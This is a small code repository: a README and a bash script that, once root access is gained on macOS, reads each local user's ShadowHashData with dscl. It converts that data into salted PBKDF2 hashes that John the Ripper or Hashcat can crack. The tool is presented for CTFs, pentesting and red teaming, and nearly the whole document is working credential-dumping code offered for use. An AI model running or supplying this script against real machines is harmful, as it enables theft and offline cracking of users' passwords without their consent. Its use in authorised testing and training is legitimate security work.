├── README.md └── osx_password_dumper.sh /README.md: -------------------------------------------------------------------------------- 1 | # 🍎 🔓 OSX Password Dumper Script 2 | 3 | ## Overview 4 | 5 | A bash script to retrieve user's .plist files on a macOS system and to convert the data inside it to a crackable hash format. 6 | (to use with John The Ripper or Hashcat) 7 | 8 | Useful for CTFs/Pentesting/Red Teaming on macOS systems. 9 | 10 | ## Prerequisites 11 | 12 | - The script must be run as a root user (`sudo`) 13 | - macOS environment (tested on a macOS VM Ventura beta 13.0 (22A5266r)) 14 | 15 | ## Usage 16 | 17 | ```bash 18 | sudo ./osx_password_cracker.sh OUTPUT_FILE /path/to/save/.plist 19 | ``` -------------------------------------------------------------------------------- /osx_password_dumper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # /!\ Note : this script is intended to be used on a Mac OS computer on you ALREADY gained 4 | # root access. Retreiving user's hash is always useful for CTFs, pentesting or red teaming operations. 5 | 6 | # Check if script is ran as root 7 | if [ "$EUID" -ne 0 ] 8 | then echo "You need to be root on the machine to access users's .plists. Exiting..." 9 | exit 10 | fi 11 | 12 | # Check if arguments provided 13 | if [ "$#" -ne 2 ]; then 14 | echo "Please provide a name for the hash output, and the path to save the .plist file : $0 /path/to/.plist" 15 | exit 1 16 | fi 17 | 18 | # File output in arg 19 | FINAL_HASH="$1" 20 | # Output directory for hash files 21 | OUTPUT_DIR="$2" 22 | echo -e "Hash will are saved into : $FINAL_HASH\nAnd .plist files to : $OUTPUT_DIR" 23 | 24 | RED='\033[0;31m' #'0;31' is Red's ANSI color code 25 | GREEN='\033[32m' #'0;32' is Green's ANSI color code 26 | YELLOW='\033[1;32m' #'1;32' is Yellow's ANSI color code 27 | BLUE='\033[0;34m' #'0;34' is Blue's ANSI color code 28 | 29 | # Create the output directory if it doesn't exist 30 | mkdir -p "$OUTPUT_DIR" 31 | 32 | # Iterating through each user 33 | getPlist() 34 | { 35 | # Listing existing users on the system, using the dscl utility 36 | USERS=$(dscl . -list /Users | grep -v -e "^_" -e "daemon" -e "root" -e "nobody") 37 | # Assign users to an array called "user_lines", called in getPlist() 38 | IFS=$'\n' read -rd '' -a user_lines <<< "$USERS" 39 | # Increment through users 40 | # Going throughout the array "user_lines" 41 | for USER in "${user_lines[@]}"; do 42 | # Extracting .plist of each user 43 | PLIST_DATA=$(dscl . -read "/Users/$USER" dsAttrTypeNative:ShadowHashData) 44 | # Saving .plist 45 | echo "$PLIST_DATA" > "$OUTPUT_DIR/$USER.plist" 46 | # Convert the hex users's data to XML format, and then save them into separated user's hash 47 | FULL_PLIST=$(cat "$OUTPUT_DIR/$USER.plist" | tail -n 1 | xxd -p -r | plutil -convert xml1 - -o $OUTPUT_DIR/$USER.plist) 48 | done 49 | } 50 | 51 | getFullHashes() 52 | { 53 | echo -e "\nHere is the hash for each user found on the system : \n" 54 | 55 | # Iterating to each users 56 | counterUser=0 57 | for USER in "${user_lines[@]}"; do 58 | ((counterUser++)) 59 | 60 | # Retrieving .plist file and decode them 61 | PLIST_DATA=$(dscl . -read "/Users/$USER" dsAttrTypeNative:ShadowHashData) 62 | FULL_PLIST=$(cat "$OUTPUT_DIR/$USER.plist" | tail -n 1 | xxd -p -r | plutil -convert xml1 - -o $OUTPUT_DIR/$USER.plist) 63 | 64 | # Extracting the required hash-related data 65 | INTEGER_VALUE=$(xmllint --xpath '//key[text()="SALTED-SHA512-PBKDF2"]/following-sibling::dict[1]/key[text()="iterations"]/following-sibling::integer[1]/text()' "$OUTPUT_DIR/$USER.plist") 66 | HASH_SECOND_DATA_BLOCK=$(xmllint --xpath '//key[text()="SALTED-SHA512-PBKDF2"]/following-sibling::dict[1]/key[text()="salt"]/following-sibling::data[1]/text()' "$OUTPUT_DIR/$USER.plist" | awk '{$1=$1};1' | tr -d '\n' | base64 -d | xxd -p -c 256) 67 | HASH_FIRST_DATA_BLOCK=$(xmllint --xpath '//key[text()="SALTED-SHA512-PBKDF2"]/following-sibling::dict[1]/key[text()="entropy"]/following-sibling::data[1]/text()' "$OUTPUT_DIR/$USER.plist" | base64 -d | xxd -p -c 256) 68 | 69 | # Concatenate the extracted data into a single hash format with salt 70 | USER_HASH=""$"ml$"$INTEGER_VALUE$"$"$HASH_SECOND_DATA_BLOCK$"$"$HASH_FIRST_DATA_BLOCK 71 | USER_HASH="$ml$""$USER_HASH" 72 | 73 | # Outputing users and hashes in a fancy way 74 | echo -e "${YELLOW}User #$counterUser" 75 | echo -e "${YELLOW}Username:\033[0m $USER" 76 | echo -e "${RED}Hash:\033[0m $USER_HASH\n" 77 | echo -e "$USER_HASH\n" >> "$FINAL_HASH" 78 | done 79 | } 80 | 81 | # Calling functions 82 | getPlist 83 | getFullHashes 84 | --------------------------------------------------------------------------------